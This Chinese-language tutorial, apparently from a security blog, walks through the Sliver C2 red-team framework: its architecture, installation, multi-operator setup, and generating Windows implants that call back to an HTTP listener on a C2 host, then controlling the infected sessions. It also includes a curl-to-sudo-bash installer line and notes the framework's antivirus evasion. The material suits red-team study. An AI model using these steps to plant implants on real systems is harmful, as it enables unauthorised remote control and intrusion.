跳到主要内容

Sliver工具研究

官方地址:https://github.com/BishopFox/sliver

Sliver

Sliver C2 是一个开源的跨平台红队框架。

常见术语:

  1. implant - 用于保持访问权限的软件,通过使用C2命令
  2. beacon - 1 一种通信模式,定期连接C2服务器;2 CS beacon
  3. Stage - 载入的方法,阶段式或非阶段式

提供两种操作模式:

  1. Beacon mode:实现了一种异步通信方式,定期(1min)检查通信情况
  2. Session mode:实现了实时会话方式

优势:

  1. 免杀能力极强
  2. 模块化,提供了多种扩展,如armory可以安装各种第三方工具(BOF、.NET 工具等)
  3. 多操组员模式
  4. 开源
  5. 支持多平台(Linux, Windows and MacOS)

Sliver C2 架构

主要由四部分构成:

  • 服务器控制台 - 服务器控制台是主界面,通过 sliver-server 可执行文件启动,所有操作代码都在客户/服务器控制台之间共享;服务器控制台通过一个gRPC接口与服务器进行通信。

  • Sliver C2 服务器 - Sliver C2 服务器是 sliver-server 可执行文件的一部分,管理内部数据库,启动和停止网络监听器。与服务器交互的主要接口是gRPC接口,所有的功能都是通过它实现的。

  • 客户端控制台 - 客户端控制台是用于与Sliver C2服务器互动的主要用户界面。

  • 植入物 - 植入物是在目标系统上运行的恶意代码(exe、ps1等)。

    各部分的关系及交互形式如下图所示: p9PND4P.png

安装

Sliver有两个外部依赖的可选功能: MinGW和Metasploit。

  1. 要启用DLL有效载荷(在Linux服务器上),你需要安装MinGW。
  2. 要启用一些MSF集成功能,你需要在服务器上安装Metasploit。

以下选择其一进行安装即可(官网 or 脚本)

官网下载server文件直接启动即可(没有使用脚本安装运行)

apt install mingw-w64
./sliver-server_linux

image-20231009191347457

脚本安装(默认单人模式)

apt install git mingw-w64
apt install gnupg-agent #中间有gpg报错,用这个解决
curl https://sliver.sh/install|sudo bash

安装完脚本后sliver启动即可

image-20231009164854701

Server 端默认监听的端口为 31337,如果要修改端口以及 daemon mode(守护者模式)、多人模式的话可以修改配置文件,配置文件位置如下:

vim ~/.sliver/configs/server.json

安装msf

#添加kali源
vim /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
apt install gnupg-agent #中间若有gpg报错,用这个解决
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add -
apt update

apt install metasploit-framework

使用手册

1. 多人运动

multiplayer -l 31339  #多人运动 监听客户端连接端口
jobs #查看监听端口

image-20231009214848785

创建多人运动账号(以下两种情况选择其一)这里我选择直接运行官网的服务端程序

多人运动(官网服务端程序直接运行时)

#服务端
new-operator --name mingsafe --lhost lhost #新建一个client,lhost是服务器IP,lhost也可以写eth0(当前网卡)
multiplayer #启用多用户

image-20231009191649624

多人运动(脚本安装 CLI / 守护进程模式

#服务端
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --save f8x.cfg #生成客户端认证文件
#修改配置文件改为多人模式
vim ~/.sliver/configs/server.json

接着客户端有GUI时,直接导入生成的cfg文件即可。CLI则使用import导入。

#客户端(有gui客户端直接导入cfg认证文件即可)
sliver import ./f8x.cfg # 导入服务端生成的认证文件
sliver # 再次启动会让你选择使用哪个server

#如果报14error则可能是服务端没开启多用户模式,必须开启多用户模式
#如果服务端断开之后再次连接,连接不上,需要再次打开多用户模式

2. 极速上手

这里选择以http通信为例,生成对应架构的Implant

# 这里我客户端连接操作
# 创建监听器
http -l 9001
# 生成Implant/Payload(sessions/beacon)
generate --http http://172.16.181.182:9001 --os windows #session
generate beacon --http http://172.16.181.182:9001 --os windows #beacon

image-20231010203519371

这里我windows客户端生成了16分钟。。。直接用服务端生成会快一些

被控端双击马儿上线

image-20231010211241890

sliver > sessions  #查看session上线的马儿信息
sliver > beacons #查看beacon上线的马儿信息

sliver > use [ID] #进入会话模式
sliver (DIZZY_SHOOTDOWN) > interactive #激活(相当于将CS的sleep设置为0)
sliver (DIZZY_SHOOTDOWN) > info #查看主机信息
sliver (DIZZY_SHOOTDOWN) > background #切换到后台

image-20231010214229307

基本命令

参考文章:

https://mp.weixin.qq.com/s/Gmr3yozAKlCRHBuhZW4EmA

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzI5NTUzNzY3Ng==&action=getalbum&album_id=2959862227564740611&scene=173&from_msgid=2247486339&from_itemidx=3&count=3&nolastread=1#wechat_redirect

https://forum.butian.net/people/4870/community?page=1